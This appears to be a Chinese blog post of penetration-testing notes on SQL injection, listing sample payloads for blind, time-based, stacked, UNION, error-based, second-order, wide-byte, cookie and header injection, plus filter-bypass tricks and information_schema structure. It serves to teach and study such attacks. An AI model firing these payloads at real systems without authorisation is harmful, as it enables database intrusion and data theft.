SQL注入篇-网络渗透

1布尔盲注 返回结果只有正确或错误
	1.1构造比较语句可以判断出数据库库名的长度
	例:	?id=1 and length (database()) >= 1 --+
		?id=1 and length (database()) <= 10 --+
	    根据返回界面显示是否正常,从两边向中间逼近判断出正确的长度
	1.2利用substr()逐个截取得到库名,mid()也可以用于截取
		例:  ?id=1 and substr(database(),1,1)=‘t’ --+
		判断数据库库名的第一个字母是否为t
		?id=1 and substr(database(),2,1)=‘t’ --+
		判断数据库库名的第二个字母是否为t
	1.3利用ascii码转换后也可以通过比较得到库名,ord()也可以转码
		例:  ?id=1 and ascii(substr((select database()),1,1))> 100 --+
		参考上一种,这里是把数据库库名的第一个字母的ascii值取出来和1001.21.3的区别在于数据类型不同,1.2是字符型,1.3是数字型
		
2时间盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。
	需用if(expr1,expr2,expr3) 判断语句 
	如果expr1正确就执行expr2如果错误执行expr3
	例:	?id=1' and if(length(database())=8,0,sleep(5))--+
	如果数据库库名长度不为8,页面就会延时5秒返回
	
3堆叠查询注入,执行多条语句
	例:	?id=1;select if(length(database())=8,0,sleep(5))--+

4 联合查询注入,union联合查询
	例:	?id=-1 union select 1,2,3 --+

5 报错注入,查看报错信息
	例:	?id=1' or extractvalue(1,concat(user(),0x7e,version()))
		?id=1' or updatexml(1,concat(0x7e,(select database()))
		0x7eascii编码,解码为~

6 二次注入
	所需条件:1)用户向数据库插入恶意语句
			(2)数据库对自己存储的数据直接取出恶意数据给用户
	例:	已知登录账号为admin	我们注册新账号admin’# 
		修改admin’#的密码其中’#被认为是sql语句
		然后发现admin的密码被修改了admin’#的密码却没有变

7 宽字节注入
	所需条件:程序员设置MySQL连接时的错误配置set character_set_client=gbk
	原理:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\';
	若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,
	即一个中文占用两个字节,一个英文同样占	用两个字节且在汉字编码范围内两个编码为一个汉字。
	然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞

8 cookie 注入
	例:	目标网站为asp?id=1
		将地址栏改为javascript:alert(document.cookie="id="+escape("1"));
		出现id=1的弹窗,再访问asp?也能正常看到页面
		原理:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。

9 base64 注入
	所需条件:传递参数经过base64编码

10 XFF 注入
	http请求头X-Forwarder-for表示客户端真实ip,可伪造ip
	可构造sql注入语句

1 大小写绕过
2 双写绕过
3 url编码绕过
4 内联注释绕过

MySQL 5.0 之后的版本默认在数据库中存在“information_schema”
三个表名“SCHEMATA”,“TABLES”,“COLUMNS”
SCHEMATA 存放的是该用户创建的所有数据库的库名,字段“SCHEMA_NAME”
TABLES 存放的是该用户创建的所有数据库的库名TABLE_SCHEMA和表名TABLE_NAME
COLUMNS 存放的是该用户创建的所有数据库的库名TABLE_SCHEMA,表名TABLE_NAME和字段名COLUMN_NAME
注释可以在sql注入时干扰并绕过
注释 #或/**/或- -空格 第三种注释在url里就是- -+
内联注释 /*!       code        */

几种框架
ASP + Access + IIS 5.0/6.0 + Windows Sever 2003
ASPX + MSSQL + IIS 7.0/7.5 + Windows Sever 2008
PHP + MySQL + IIS
PHP + MySQL + Apache
PHP + MySQL + Ngnix
JSP + MySQL + Ngnix
JSP + MSSQL + Tomcat
JSP + Oracle + Tomcat

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值